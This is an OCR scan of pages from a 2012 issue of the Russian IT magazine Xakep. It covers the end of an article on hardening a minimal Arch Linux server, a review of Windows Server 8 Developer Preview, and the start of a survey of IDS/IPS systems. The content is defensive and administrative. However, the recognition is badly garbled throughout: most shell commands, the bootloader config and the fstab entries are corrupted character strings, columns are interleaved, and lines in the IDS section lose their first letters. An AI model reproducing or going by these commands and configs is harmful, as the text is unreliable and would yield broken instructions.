.. ..iрrр.сL.;,У.;,д.егл.Е'!J.l~.<lр.с. Q.Q.uГ!.Q.' ._;» .JЕ'!.t.с/rс:.,. :)..9c:~:). ..................... . !t ... e.<::op ... ·ec!!.Q ... $UI;l~ff.fffff.f .. ~ ... O ..... ~cl~).)J ... ;> .... \ .......................... .

...... jрrQ(:j~уs.l.ls.g.rо.е.Jj.с.<!Р~.Qо.\ш.g. : ... ?;>.j~:t cf.r:.C:.,JRc aJ ......... . # ... e..c.h,9 : е..фR. $.U !')",.fff.Т:f.f.f,f ... л. .. (1 ... S.5 . 2:I,}l} .. ~. \ ............. _ .. .. ...... Jpr:,9cI~.Y.s. /ke..rn.e.JIc.i!.p .:.b9.YlJ.g. · .... ?? .. L.e.t. ~jr..c .• J9c.aJ. ............ ..

Эти строки добавляют в ядро после загрузки ограничения

на загрузку модулей [для защиты от бэкдоров и рут китов!, на выполнение системного вызова chroot, на выполнение ptrace, то есть на трассировку процессов, и на различные системные

действия, например на монтирование файловых систем и под­

ключение swap. Пока система не будет перезагружена, отменить ограничения не сможет никто. включая root.

Все, теперь у нас есть минималистичный Liпuх-дистрибутив ,

выполняющий строго определенные функции, но как установить

(писок установленных пакетов

ХАКЕР 02/157/2012

Page 123: Xakep 02_2012

его на реальный сервер? Очень просто - скопировать. Для этого

понадобятся установочный образ ArchLinux, чистая болванка, флешка и немного терпения. Выполняем весь процесс как указано

ниже.

1. Завершаем работу виртуальной машины.

2. Настраиваем ее загрузку с 150-0браза ArchLinu x, вставляем в комп флешку и прокидываем ее в виртуальную машину [с по­мощью VirtualBox это легко сделаты�.

3. Подключаем разделы дистрибутива к каталогу /mnt. На моем виртуальном диске было три раздела: /dev/sda3 - корень, /dev/ sda1 - /boot, /dev/sda4 - /home. Монтируем :

_ .... #. .. m9J.!n.t . .l9~.У.L.~g.!!J..L.!11П.t ... _ ................................... _. _ .... _ ......... ........ _ .. . ..... # ... m.Q),Io:t . .J.Qe.\{j.~.d. .~.1../ mn.t/.QQ.Q:t .......................... _._ ....... _ ...... _...... .... . .... #!119),1.1).t JcjJ~.Y.L.~9!!4 . .l.mJ1:t./hQrn~ ... _ .............................................. _ .. .

4. Подключаем флешку к каталогу /media:

5. Запаковываем систему в архив и кладем его на флешку :

... #. <:.d . ..L.пю1; .............. . .... # .. t .!!I' .... c!=z,f .. /.rn~.di!!lrQ9.t • .tar .• gz . ..... # ... ~уш;:_ ................ _ .. _ ... _ ... .

6. Завершаем работу виртуальной машины, нарезаем 150-0браз

ArchLinux на болванку и идем к серверу, прихватив с собой флешку и болванку.

7. Загружаем сервер с болванки и разбиваем диск с помощью

cfdisk, руководствуясь следующей схемой:

...... $.Q.!!l ... ::-: .. ~.W!!Р ... (JЩ3I1ер: .9.бl;>.~I1 .. Q~)' ... " .. Z}j ....................... . ..... ~.cjаZ ... =-... КQJ;J.g.I:t. !> ... (Р!!;!.l1ер .:. 1 .. (6).; ... $.d!!~ .. ::-:..Jwww . {р.!!зl.щр.: .... сТ.О!J.~J~'О~ .... с.кQ!J.!>ко . .tiуJI!.1:!9 ... ДШI .. хранения всех файлов веб-сайта)j

....... s.<la.4._=-.. Iy.!!.c_.{ р.а.з.!'!.е.р : .. .от .. ~ . .I б.) •.........

8. Создаем в разделах файловые системы:

._ .... # .. JJ1~.f.~ , .. e.X.t~ Jge\{/.~.<I!!.{~.,.J.4} ........... .

9. Монтируем разделы K/mnt:

. ... # .. !11QЩlt ..I.Qe.\(j~.daZ . ../mn.1; ........ _ ................... _ ............................ _ ........ . .# ... mkgJc ... Lmo.tL.www . .Irnn.tL.y. .~.r:_ ........ _ .......................... .

.. . .. #.. mQ.u!11 . .l.Q.g\{J.~.Q ~. ;tJrn!1.1; /.www ......... _ .. # .. mQ),IlJ.t . ..I.gey'/~gil4 . .l.mn.tI y.iI.c.. . ..... .

10. Монтируем флешку и распаковываем архив с системой:

...... # .. mQ.uo1 .l.Q.e.\{Is.QJ~;I,.Jrne.Qiij ....... . ....... # ... ~.g .. j!!шt ................................................. _.

. .. # ... 1;ilL ... ~ x);f ../.!11.е!! iil/I'.O.Qt .• t!!I'.,.g;?: .. .

11. Устанавливаем загрузчик:

# .~ hrQ9.t . ..I.m01...... . ... .............. _.. ......... _ ... _ # gr.),IQ.~.iost!!lJJ9.~yI~g.i!1 ......... . ... . ...... __ .... _ . ... _

12. Правим конфиг загрузчика:

....... 1;НJе. .... ~I'.I; .h.цощ_..................... ......... ......... . ................. . ....... CQ.ot ... {b.Q!').,.J). ............................................................................................... . ...... !s.е.I'.ш~J .. .LtН:>.Qt/.I!.rn1;i..lJ.щ;3.е ... r.QQ.t~jQ.е.уIs.d.ijG .. I'.Q .......... _ ... _ ........ _ .. _. ...... ), n.i1c.d . .l.Q.QQ.tJ.!s.e r.IJ.~JJe,jJJ1g................ .._ ......... .

ХАКЕР 02/157/2012

Лечебное обрезание

ЕСЛИ ВЗЛОМЩИК ПРОНИКНЕТ

В СИСТЕМУ ЧЕРЕЗ ДЫРУ В

ВЕБ-СЕРВЕРЕ И ПОЛУЧИТ

ПРАВА ПОЛЬЗОВАТЕЛЯ

WWW, ОН ДАЖЕ НЕ СМОЖЕТ ЭАПУСТИТЬЭКСПЛОЙТ

13. Правим /etc/fstab следующим образом :

delip.t.s /.d.evjp.ts .. cjevp:t~ .. d.e..fau:),1s .. ~ .. ~ ...... _ .... _ .. . . . _shmJ deyj shm .. tmpf~ Л9.d.еу,.nоsu .i.d е .. е

... ../de."'/~da1 SW9.P S\:Iap .. d.еfа.чJts е е ... . .Ld.eyi -;.da.2 . ./ ext4 . def.9.ult~ .. e. ;1, .••• _ ••

... Lr)ev L.~da.3 /w.Ww ext4 .. Q.efaul tS,ЛQе.Х~.С~ nQQev ... ~ 1 .l.de\{J.~d.a4 I y.ilC . е.Jc<t.4 ... g~.f9.),I.нs.,л9е..~е.с., п'Qdе.У ... е .;1,

..tmрf.~ .J t.rпр t.!11pfs. .. d~f~.),IH~. ,r1gexec. ,.n.ode.\( .. е е

Каталог /www будет смонтирован без возможности запуска файлов и создания устройств, так что если взломщик проникнет

в систему через дыру в веб-сервере и получит права пользовате­

ля www, он даже не сможет запустить эксплоЙт. Для каталогов /уаг и /tmp действуют те же правила.

Все , теперь можно перезагрузить машину и посмотреть, как

все работает .

ЧАСТЬ 6. ОБНОВЛЕН ИЕ Обновить полученный дистрибутив не так-то просто. Для этого

потребуется виртуальная машина с установленным ArchLinux [самое время восстановить снимок, созданный в начале процес­

саl и sshfs. Процесс выглядит так : 1. Включаем виртуальную машину. 2. Устанавливаем sshfs. 3. Обновляем базу данных пакетов и нужные софтины Iнапример,

nginx, Postgre5QL, 55HI:

... #. piI.cmao .. -SY.... .... . .................. . # р.i! .с!11ал. .. -~.лgilJ.хр.9.s.tgrе~ql . ssh

4. Запоминаем, какие пакеты обновились, и для всех этих паке­тов , включая nginx, Postgre5QL и 55Н, смотрим список файлов:

.. # Р.ё! .стаn -Ql .. .ngi!1.>cr19~tgr:'.е.sqJ .. ss.t]._ ....

5. Перекидываем файлы на наш сервер с помощью sshfs :

. .... # s~.hfs ... ~.e.pee.p .. /mot ....................... . #fQI' ... 1jJ,~ i.!1. .. ' pa.(;mi!n _ -Ql .. .IJgt.пх 1 .. <:.u.t .. -.9 ' .. _' .. -.f. .. 2, ' j ... Qo.\

.ч ... $Ые . L.!11lJti $fi1e..j \ done

Готово! Конечно, это не автоматические обновления каждую

ночь, но и не ночной кошмар, тем более что весь процесс вполне

можно реализовать в скрипте.

ЧАСТЬ 7. В Ы ВОДЫ В зтой статье приведены только базовые сведения о том, как

обезопасить дистрибутив. Каждый сервер имеет свои особен­

ности, которые необходимо учитывать . В любом случае главное

правило: чем меньше компонентов, тем лучше . :Х:

121

Page 124: Xakep 02_2012

SYN/ACK Сергей «grinder» Яремчук Igгiпdегlasупасk.гul

Рожденный под -.

ци рои

восемь -Основной процесс разработки WinB планируется

завершить к лету

2012 года . Новая ОС

поступит в продажу

в начале 2013-го.

Название Windows Server 8 является КОДОВЫМ и еще

не утверждено

окончательно.

в Win2k8 Server Саге невозможно было использовать MS SQL Server или Exchange. Разработчики обещают, что WinB будет поддерживать СУБД.

-Центр разработки Windows Server­msdn.microsoft. com/en-us/win­dowsserver.

-На прилагаемом к журналу диске

ты найдешь видеоролик, в

котором "оказана

установка и

первоначальная

настройка Windows В Developer Preview.

WinB будет Функция Нурег-У выпускаться только Replica обеспечивает для 64-разрядных

асинхронную систем.

репликацию

виртуальных

машин на внешние

площадки.

ЗНАКОМИМСЯ С WINDOWS SERVER 8 Работа над «восьмеркой», начавшаяся еще в

2009 году, велась параллельно с разработкой Win2k8, однако официальной информации о новой серверной ОС было совсем мало.

Разработчики обещали, что ядро будет

написано с нуля, важную роль в системе

возьмет на себя гипервизор, а кластерные

службы станут эффективнее. Как только

появилась версия Developer Preview, мы решили проверить правдивость этих слов.

122

~ SERVER MANAGER ' DASHBOARD

• ALL~i!VtI15

. """'''''''' Ii АС1М O!~fCroRV DO~ li or.SSEМiI

Welcorne to Server Manager

8 configuгe this local server

odd'oIe<

IlOUS ,\НО SutVEJt 61t01JPS 2 ... .,.,...''''1011_ll_~ ........

.-----8РАr..ш/tS

.@

: 1118 т .. ~~: е ' '' " .

WinB получил обновленный Server Manager

ХАКЕР 02/157/2012

Page 125: Xakep 02_2012

дdd ROI~ lПd Feiltures Wizard о о •

Installation pгogгess

BtfIn 'IDU ~ yК!W instalt4tion progress

IГ:1 .,------""""'-':"""-"""'-""""-~'".,.""""'--:Con,-:Iigu-~-tюn-':-w.::-U<;,;::::::::0:',,"0-;".-1 - ..... -Fa.EdilF_YRooНdp

: wtndlмs Po.rShllll scr1p! fot' ltD DS oeployмm:

uport....f4Odule~l~ Inst;al1 - ...aosFor"t" -D.J.t~l!PiI.th ~С : \W1ndows\NТOSИ • -008;I1f71tOdе "w1n2001R2- .

:=~=~~r-:g:' -I/''IStil.l1oмs:Str\lC .

:~'!:-;1ЕНЕ!:~d (ReAd_но~t -ASsкur'St.r fng -fOrCllllpt -~nt ... Рuя.ord-) . -SYS\OU'il.th Mc: \wtndow$\SYS'oOL-

ПР' 'Р.'"'6.,

Любые настройки в GUI, по сути, сводятся к команде PowerShel1

I:J:J'шiЩii

~ .. _ ....... _ oI lhe_fort..st.

Современные тенденции диктуют новые правила для разработ­

чиков операционных систем . Сегодня всё активнее продвигаются

«облачные» технологии, многие компании уже используют вирту­

альные структуры Iчастные «облака») или планируют перейти к ним. Большую популярность приобретают виртуальные машины,

заменяющие целый парк серверов. Сотрудники теперь не при вяза­

ны к конкретному рабочему месту, так как могут получить доступ

к ресурсам компании из любой точки, где есть выход винтернет.

Поэтому при создании Wiп8 во главу угла были поставлены четыре

компонента: сетевая инфраструктура, удаленный доступ, удобство

управления и виртуализация.

ИНСТРУМЕНТЫ УПРАВЛЕНИЯ В WINDOWS 8 Концепцию Wiп2k8 Server Саге админы приняли благосклонно, поскольку отсутствие GUI снижает системные требования Iчто особенно актуально для УМ) и повышает уровень безопасности.

Однако установить можно было только одну из двух версий ОС: с

GUI или без, изменить версию не представлялось возможным. В Wiп8 для сервера доступно три варианта интерфейса : один с GUI и два варианта без него. В первой версии без GUI управление осу­ществляется с помощью командной строки, а во второй IFeatures Оп Оеmапd) вместо GUI и IE в качестве инструментов управления предлагаются Server Мапаgег и ммс. Но главное -теперь можно легко менять интерфейс без переустановки сервера . Благодаря

этому Wiп8 можно настроить так, чтобы добиться оптимального

соотношения между производительностью, безопасностью и удоб­

ством управления.

Положительную реакцию у сообщества вызвало появление в

Wiп2k8 оболочки PowerShell, позволяющей автоматизировать за­дачи, обрабатывать большие объемы данных и выполнять команды

сразу на множестве подчиненных систем .

Wiп8 получила третью версию PowerShell, которая представля­ет собой серьезный инструмент для выполнения задач, связанных

с администрированием системы, ролей и сервисав. Число команд­

летав выросло на порядок и составляет уже более 2300 'В PS1 ИХ было 130, в PS2 - 230). Технология автодополнения IпtеlliSепsе превращает PS в удобное средство для создания и тестирования сценариев. Хорошо поддерживаются операции, выполняющиеся

длительное время на большом количестве систем. Серьезно пере­

работанный стек стал более универсальным и переносимым, те ­

перь в командлетах в большинстве случаев не нужно обращаться

к специфическому API. ДЛЯ работы с веб-сервисами PS использует

ХАКЕР 02/157/2012

..:1

Рожденный под цифрой восемь

форматы REST и JSON. По сути, многие штатные инструменты управления из состава Wiп8 вроде RSAT и Server Мапаgег пред­ставляют собой надстройки над PS, а работа всех мастеров сво­дится к созданию и запуску сценария PS. При этом выполненный ранее сценарий можно ско пировать из истории и экспортировать

для повторного использования.

Особенностью инструментария WМllWiпdоws Мапаgеmепt Iпstгumепtаtiоп) в Wiп8 является поддержка стандартов, описы­

вающих взаимодействие между оборудованием и приложениями.

вроде SMlcS, WSMAN или ОСОМ. Соответственно, третьим лицам стало проще писать WМI-проваЙдеры.

Диспетчер сервера в Wiп2k8 мне нравился. Он отлично подхо­

дил для настройки всевозможных пара метров локальной системы,

а с R2 позволял настраивать и удаленную. В Wiп8 разработчики пошли дальше и ввели понятие группы серверов. Теперь можно

управлять несколькими серверами одновременно, а в Oashboard выводится информация, собранная со всех систем. Выбрав в спи ­

ске сервер из меню, можно запустить другие средства управления:

консоль Computer Мапаgеmепt или PowerShell. Практически все инструменты администрирования, ранее предлагавшиеся в виде

отдельных консолей, теперь встроены в диспетчер сервера. Сам

Server Мапаgег выполнен в фирменном стиле Metro, расположение окон оптимизировано для современных widе-мониторов. События,

которые требуют внимания админа, подсвечиваются разными цветами. Фильтры помогают отобрать только необходимую инфор­

мацию, причем запросы можно сохранить и использовать повторно .

Как и ранее, настройка в основном производится при помо­

щи мастеров. При установке роли можно выбрать один из двух вариантов: роль/компонент или сценарий развертывания ROS. Далее мастер предлагает указать cepBepla) из списка или VOI­диск. По окончании настройки вернуться к мастеру можно из окна Nоtifiсаtiоп.

«ОБЛАКА» И HYPER-V Первым широкой общественности был представлен обновленный

Нурег-У 3.0, который превратился в одну из ключевых особен­ностей «восьмерки» И стал основой для создания частных и

публичных «облаков» . Заявлена поддержка до 160 логических CPU lядер и потоков) и 2 Тб физической памяти, при этом каждая УМ может иметь до 32 vCPU и оперативную память объемом 512 Гб. Никаких лимитов по соотношению реальных и виртуальных CPU не установлено, можно запускать столько УМ, сколько потянет обору­

дование. Отказоустойчивый кластер, построенный на Wiп8, может

содержать 63 узла с 4000 УМ, имеющими функции Live Мigгаtiоп, балансировки нагрузки и Мulti-Сhаппеl 5MB Iзта функция обе-

~ ...... Active Directory Domain Services • Overview

JКa_' l"<U'!

.I C . ... I_"'=­р_ .....

P'u..._ ........ -"._"". г __

· .-.-o-w..,~c_o..--: =::::=:..."":"':-~";:_o...a.y-.--...,..--· _~-..._w"",-~_

i--'- _____________ _

W!ndowrts~HiStO'Y

c_u-.шмPt~ ПL _ .

НовыйАDАС

-@

123

Page 126: Xakep 02_2012

I

SYN\ACK

спечивает улучшенную пропускную способность и предоставляет

несколько резервных каналов между сервером и хранилищем на

удаленном файловом ресурсе]. Поддержка технологий, речь о которых пойдет далее, была

реализована еще в Wiп2k8, теперь же они плотно интегрированы с

гипервизором. Так, архитектура неравномерного доступа к памяти

NUMA INоп-Uпifогm Memory Access] уменьшает задержки и повы­шает эффективность работы VM. Это особенно касается мощных серверов, где Hyper-V показывает почти линейное масштабиро­вание. Технология WHEA IWiпdоws Hardware Еггог Architecture] адаптирует VM к аппаратным сбоям, обнаруживая ошибки. Если устранить проблему нельзя, то система определяет, какая из VM пострадала, и пытается ее перезапустить/восстановить, тогда как остальные продолжают работать в обычном режиме. Технология

Hyper-V Replica позволяет создавать копию реплики данных и отправлять ее на удаленный сервер с последующим запуском. Это

дает возможность быстро перейти на другой сер вер или восстано­

вить ресурс.

Формат виртуальных дисков VHDX изменен для улучшения масштабируемости, оптимизации и повышения надежности хра­

нения данных и увеличения скорости. Максимальный объем может

превышать 2 Тб Iма ксимум 16 Тбl, журнал уменьшает риск потери информации. Диски легко объединяются на лету без остановки

работы VM . Том может быть зашифрован при помощи BitLocker, что обеспечит защиту данных при размещении сервера в «облаке».

РАБОТА С СЕТЬЮ И УДАЛЕННЫЙ ДОСТУП Чтобы Wiп8 могла стать полноценной основой для построения «об­

лака», в сетевую инфраструктуру и реализацию стека были вне­

сены существенные изменения . С помощью консоли NIC tеаmiпg можно объединять до 32 сетевых интерфейсовlлюбых производи­телей] в один виртуальный lIiпk aggregation], обеспечивая большую пропускную способность, балансировку нагрузки и автоматическое

резервирование.

Ранее для этого требовались утилиты сторонних разработчи­

ков и однотипные сетевые карты. Штатная Сопtгоl Panel не очень удобна для настройки большого количества сетевых интерфейсов

Iвключая виртуальные], поэтому в Win8 появился новый ком­плексный инструмент управления IР-адресами -IPAM IIP Address Management]. Новые системы удобно добавлять в список благо­даря сканеру, который загружает в консоль все данные о найден­

ных IP-аАресах Iдинамических и статических], после чего админ сортирует их и снабжает метками и описаниями. Доступны отчеты

об использовании IP-аАресов. Имеются инструменты для контроля

..... Sele<t destination server

........ Select., serwr оп whkh to install roles аnd f"tures.

#rSdtd._"-"'-_pooI r Wкt I ........ Nrcf~

"""" F'''''' ,_ ..... This,..",-"~INI'--bнn~br""""""Adds.r-.< __ in

s.-МoNger.. Oumt~cqкtro"""-..ond~ ............... 'lllhcho.1.tccllкtionls""~_ ..... ~

р

r.....-lii~~~~-.... \ОЮ/-lnm.tu2QlV .f.PCIk.I_~

\'ЛN-lтuntLQQ2Y 1.014 w.r-g ~w....x..s~ S, I 'MH-lnm1U2Q2V .....,-1dttdJ ~~-~~ ~~~~ ~ ~~~ .. 7 ~·lnnwwQ2V ~~

IПIII . IrEТТ ' I nI ~

Мастеру добавления роли можно указать любой сервер или виртуальный диск

....

DYNAMIC ACCESS CONTROL

DAC - новый механизм контроля доступа к файловой системе,

который позволяет администратору определять единую политику

доступа к файлам на уровне домена и при менять ее ко всем

существующим файл -серверам в домене.

трафика VM, выделяющие гарантированную полосу пропускания. Протокол 5МВ версии 2.2 получил новую функцию Мulti-Сhаппеl

5МВ, которая призвана устранить одно из типичных узких мест

при передаче большого количества данны х - низкую пропускную

способность сети.

Теперь для обмена информацией между системами по 5МВ

одновременно используется несколько сетевых интерфейсов.

Новая фича не только увеличивает производительность, но и по­

вышает устойчивость в случае выхода из строя одной из сетевух

сервера или маршрутизатора. Гипервизор, кстати, тоже поддержи­

вает виртуальное соединение Fibre Сhаппеl между VM по 5МВ. Все функции Iзахва'r, фильтрация трафика и роутингаl легко расши­ряемы, благодаря чему любой разработчик может добавить новые

возможности.

Алгоритм компонента ВгапсhСасhе также был модернизирован. Теперь, если в локалке уже имеется ста рая версия файла, функция

дедупликации загружает с сервера только его измененную часть,

а не весь файл. Ранее зта технология кеширования работала в фи­

лиальных сетях, а в новой версии она адаптирована и для обмена

данными в «облачных » сервисах.

Важным дополнением является DНСР Guard, который блоки­рует DНСР-сообщения от неавторизованных виртуальных машин,

претендующих на звание серверов DНСР. Появились инструменты

для работы с DНСР failover. Технология DN55EC позволяет работать с DN5-зонами, защищенными цифровой подписью, что исключает

атаки типа DN5 5рооfiпg. Теперь для удаленного доступа к внутренним ресурсам вместо

нескольких ролей lDirect Access и VPNI предлагается единая Uпifiеd Remote Access. Технология Direct Ассеsslчитай статью «Синхронный заплыв на дальнюю дистанцию » , ][_09_20111 пред­ставляет собой предпочтительное решение для создания такого

подключения. Сервер больше не требуется размещать в DMZ, он

il SEaVlkS

Wnc![JNm.... l Gbpo фс~

W-,ftI>eм,.... l Gbps фс~

.... Штатные инструменты позволяют объединить сетевые интерфейсы

ХАКЕР 02/157/2012

Page 127: Xakep 02_2012

К новому меню «ПУСК» придется привыкать

может находиться и за NAT'OM. Настройка сервера и соединений упрощена, за всё отвечает мастер.

Нововведения не обошли стороной и службу Remote Oesktop 5ervice . Благодаря наличию нового кодека и поддержке протоко­лов ТСР и UOP трафик снижается на 10 % по сравнению с предыду­щей версией. Технология RemoteFX, впервые появившаяся в Win2k8R25P1, позволяет виртуализировать видеоадаптер сервера и при удаленном RОР-подключении к виртуальным машинам ис­

пользовать полноценные графические эффекты, включая OirectX. В поставку Win8 включена улучшенная версия RemoteFX, не тре­бующая массивов GPU. Настройка сервиса значительно упрощена, хранилище образов VOI оптимизировано. Теперь администратор, используя один шаблон как основу, может создавать индивидуаль­

ные сессии для каждого пользователя . Чтобы система не обраща­

лась каждый раз к серверу, используется локальный кеш, образы

могут храниться на локальном диске или сетевых ресурсах .

Код сервера и клиента NF5 был переписан с нуля. Теперь он работает гораздо быстрее, что должно улучшить взаимодействие с

·пiх-системами.

ХРАНЕНИЕ ДАННЫХ Концепция системы хранения информации была пересмотрена,

чтобы сервер мог работать с большими объемами данных, раз­

мещенных на нескольких сотнях виртуальных дисков. Теперь она

включает storage pools, то есть массивы дисков, которые могут быть использованы для хранения VOI, и storage spaces - инстру­

менты для настройки производительности и отказоустойчивости .

Новые диски добавляются в пул по мере необходимости и автома­

тически подхватываются системой хранения данных как единый

storage pool. И главное, нет необходимости по купать софт сторон­них разработчиков для 5АТА- и 5А5-дисков. Функция деАУплика­

ции позволяет экономить объем за счет исключения избыточных

данных в дисковом хранилище.

В случае сбоя проверка большого диска на ошибки при по­

мощи СНК05К может занять достаточно много времени, в течение

которого сервер будет недоступен. В Win8 CheckOisk запускается в онлайн-режиме и проверяет только проблемный раздел. Сам про­

цесс занимает всего несколько секунд.

Чтобы избежать утечки информации, необходимо четко уста­

новить права доступа к файлам и устройствам для пользователей

и групп, но чем больше становится данных, тем тяжелее ими управ­

лять. Функция динамического доступа, которая появилась в Wiп8,

автоматизирует работу со списками контроля доступа, используя

ХАКЕР 02/157/2012

Рожденный под цифрой восемь

метаданные и теги документов. Расширяемая архитектура позво­

ляет интегрировать новые разграничительные политики доступа

к ресурсам с ACL и другими инструментами аудита и управления доступом. Что в итоге обеспечит централизованную защиту на

уровне доменов файлов, а также папок поверх всех имеющихся

разрешений файлов.

Администратору уже не нужно знать, на каких ресурсах

находятся файлы и каталоги. Правила задаются при помощи

функций АО и групповых политик и при меняются автоматически

при создаАИИ объекта. При этом пользователь может просмотреть

список автоматически предлагаемых ACL или выбрать другие, более подходящие. В ACL учитывается и контекст запроса. Напри­мер, пользователь может прочитать файл, находясь во внутренней

сети, но получить отказ при подключении через VPN . Сообщения о причине блокировки можно редактировать . Также можно задать

порядок действий для получения доступа. Все соответствующие

настройки задаются централизованно.

ACТIVE DIRECТORY Изменения, учитывающие особенности работы новой версии ОС,

коснулись и службы каталогов Active Oirectory. Все настройки, начиная с процесса развертывания, максимально упрощены. П осле

установки роли Active Oirectory Oomain 5ervices в 5erver Мапаgег появляется ссылка, позволяющая запустить мастер, который

функционально напоминает ранее использовавшийся OCPROMO. В процессе создания домена можно установить функциональный

уровень леса/домена от Win2k3 до Win8. В Wiп2k8R2 появился новый центр администрирования Active

Oirectory IAdministrative Center, АОАС], построенный поверх Power5hell. Его назначение тогда было не совсем понятно, так как, хотя он и обеспечивал удобный доступ к некоторым функциям,

многие из них дублировались в ммс. В Win8 АОАС был усовершен­ствован . Многие настройки стали более удобными и понятными

Iнапример, настройка FGPP - fine-grained password policies, ранее выполняемая при помощи А05 1 Edit]. Интерфейс позволяет про­сматривать использованные команды Power5hell, которые можно копировать и вставлять в свои скрипты. Корзина АО обзавелась

графической оболочкой.

Контроллер домена можно запускать на VM со всеми вкусностя­ми - копии и снапшоты, позволяющие быстро развернуть резерв­

ный КД. Чтобы не было путаницы и не возникали коллизии, при

запуске копии с разными версиями КД во время создания снимка

10 аннулируется, а при загрузке гипервизор проверяет ID текущего КД, запускает 5ysrep и обновляет все данные, приводя систему в актуальное состояние.

111 Штатный веб-сервер 115 версии 8.0 получил новые функцио-нальные возможности по интеграции с Windows Azure, которые позволяют создавать легко масштабируемые «облачные» сервисы.

Теперь 115 запускается в индивидуальной «песочнице» С регули­

рованием максимального количества используемых CPU. Благо­даря проведенной оптимизации повысилась производительность,

сервер требует в три раза меньше памяти. Одним из основных

нововведений в 115 является поддержка протокола Web50ckets для обмена сообщениями между браузером и веб-сервером поверх ТСР.

Таким образом, можно без особого труда подключать приложе­

ния для асинхронных источников данных, написанные на HTML5. Значительно упрощено управление 55L-сертификатами. Теперь все они находятся в одном хранилище, администратор самостоятель­

но настраивает их при вязку к саЙтам . Управлять сертификатами

также можно при помощи Power5hell.

ЗАКЛЮЧЕНИЕ Как видишь, нововведений до'вольно много, и они впечатляют.

Хотя, конечно, это еще не финальная версия, и к моменту релиза

некоторые возможности вполне могут измениться.::Х:

125

Page 128: Xakep 02_2012

SYN/ACK Сергей «grinder» Яремчук Igrinderratux.in.ual

HOBblE ОСПЕХИ

ДЛЯ IТ-инфраструкту ПРИМЕНЕНИЕ ID5/ IP5 - ДЕЙСТВЕННЫЙ СПОСОБ ПРЕДОТВРАТИТЬ ВТОРЖЕНИЕ В КОРПОРАТИВНУЮ СЕТЬ

в настоящее время защита, обеспечиваемая

файерволом и антивирусом, уже

не эффективна против сетевых атак

и малварей. На первый план выходят решения

класса IDS/IPS, которые могут обнаруживать и блокировать как известные, так и еще

не известные угрозы.

ТЕ ХНОЛОГИИ IDS/ IPS Чтобы сделать выбор между 105 или IP5, следует понимать их принципы работы и назначение. Так, задача 105 Ilntrusion Detection 5ysteml состоит в обнаружении и регистрации атак, а также опове­щении при срабатывании определенного правила. В зависимости

от типа, 105 умеют выявлять различные виды сетевых атак, обнару­живать попытки неавторизованного доступа или повышения при­

вилегий, появление вредоносного ПО, отслеживать открытие ново­

го порта и т. д . В отличие от межсетевого экрана, контролирующего

только параметры сессии IIP, номер порта и состояние связейl , 105 « заглядывает» внутрь па кета Iдо седьмого уровня 051(, анализируя передаваемые данные. Существует несколько видов систем обна­

ружения вторжений. Весьма популярны APID5 IApplication protocol­based 1051, которые мониторят ограниченный список прикладных протоколов на предмет специфических атак. Типичными пред­

ставителями этого класса являются PHPID5 Iphpids .org l, анализи-

126

-OMod Secu-rity и GгеепSQL-FW читай в статье «Последний рубеж», ][_12_2010.

Как научить iptabIes «заглядывать»

внутрь пакета, читай в статье ~~Огненный щиТ», ][_12_2010.

-~-сайтIРS Hogwash Light BR.

cioherdyne.ora/ lYйn9r.! - сайт Fwsnort.

tndell "-М Downloads fAQ Forun Demo Reci"nlne COI'Itec.t & Credits

Smoket • • t

">JO()(

Send

tound Injection: ":> ХХХ

PHPIDS блокирует неправильные РНР-эапросы

Releted ,tuff

ХАКЕР 02/157/2012

Page 129: Xakep 02_2012

)

ХАКЕР 02/157/2012

Новые доспехи для IТ-инфраструктуры

рующий запросы к РНР-приложениям, Mod_5ecurity, защищающий веб-сервер IApache), и Gгееп5QL-FW, блокирующий опасные 5QL­команды !см. статью « Последний рубеж» в ][_12_2010).

Сетевые NID5 INetwork Intrusion Detection 5ystem) более уни­версальны , что достигается благодаря технологии DPIIDeep Packet Inspection, глубокое инспектирование па кета). Они контролируют не одно конкретное приложение, а весь проходящий трафик, на­

чиная с канального уровня.

Для некоторых пакетных фильтров также реализована возмож­ность «заглянуть внутрь» И блокировать опасность. В качестве при'­

мера можно привести проекты OpenDPllwww.opendpi.org ) и Fwsnort Icipherdyne.org /fwsnort). Последний представляет собой про грамму для преобразования базы сигнатур 5пог! в эквивалентные правила

блокировки для iptabIes. Но изначально файервол заточен под другие задачи, да и технология DPI « накладна » для движка, поэтому

функции по обработке дополнительных данны х ограничены блоки­

ровкой или маркированием строго определенных протоколов . 1D5 всего лишь помечает lalert) все подоэрительные действия . Чтобы з блокировать атакующий хост, администратор самостоятельно

перенастраиваетбрандмауэр во время просмотрастатистики. Ес те­

с вен но, ни о каком реагировании в реальном времени здесь речи

идет. Именно поэтому сегодня более интересны IP5 IIntrusion revention 5ystem, система предотвращения атак). Они основаны

1D5 и могут самостоятельно перестраивать пакетный фильтр и прерывать сеанс, отсылая ТСР R5T. В зависимости от принципа боты , IP5 может устанавливаться «в разрыв » или использовать

ркалирование трафика 15PAN), получаемого с нескольких сенсо-ов. Например, в разрыв устанавливается Hogwash Light BR Ihlbr . . net), которая работает на втором уровне 051 . Такая система может е иметь IP-аАреса, а значит, остается невидимой для взломщика .

В обычной жизни дверь не только запирают на замок, но и до ­

олнительно защищают, оставляя возле нее охранника, ведь

лько в зтом случае можно быть уверенным в безопасности. В IT качестве такого секьюрити выступают хостовые IP5 !см. « Новый боронительный рубеж » в ][_08_2009), защищающие локальную истему от вирусов, руткитов И взлома. Их часто путают с антиви­

усами, имеющими модуль проактивной защиты . Но HIP5, как пра­ила, не используют сигнатуры, а значит, не требуют постоянного

бновления баз. Они контролируют гораздо больше системных

араметрав: процессы, целостность системных файлов и реестра,

аписи в журналах и многое другое.

Чтобы полностью владеть ситуацией, необходимо контролиро­ать и сопоставлять события как на сетевом уровне, так и на ура в ­

е хоста. Для этой цели были созданы гибридные 1D5, которые оллектят данные из разных источников Iподобные системы

асто относят к 51М - 5ecurity Information Management) . Среди

Srп1"1у'.,.. ~

о 254 48

Suricata можно использовать все наработки к Snort, например Snorby

127

Page 130: Xakep 02_2012

SYN\ACK

Ореп50игсе-проектов интересен Prelude Hybrid 105, собирающий данные практически со всех Ореп50игсе 105/IP5 и пони мающий формат журналов разных приложений [поддержка этой системы приостановлена несколько лет назад, но собранные пакеты еще

можно найти в репозитариях Linux и *В50). В разнообразии предлагаемых решений может запутаться даже

профи. Сегодня мы познакомимся с наиболее яркими представите­

лями 1D5/IР5-систем.

i .. Ш,JtiМ,*, Разработчик: 015F (Ореп Information 5eeurity FoundationJ. Web: www.openinfoseefoundation.orq . Платформа: программная.

ОС: Linux, *В5О, Мае 05 Х, 50laris, Windows/Cygwin. Лицензия: GNU GPL.

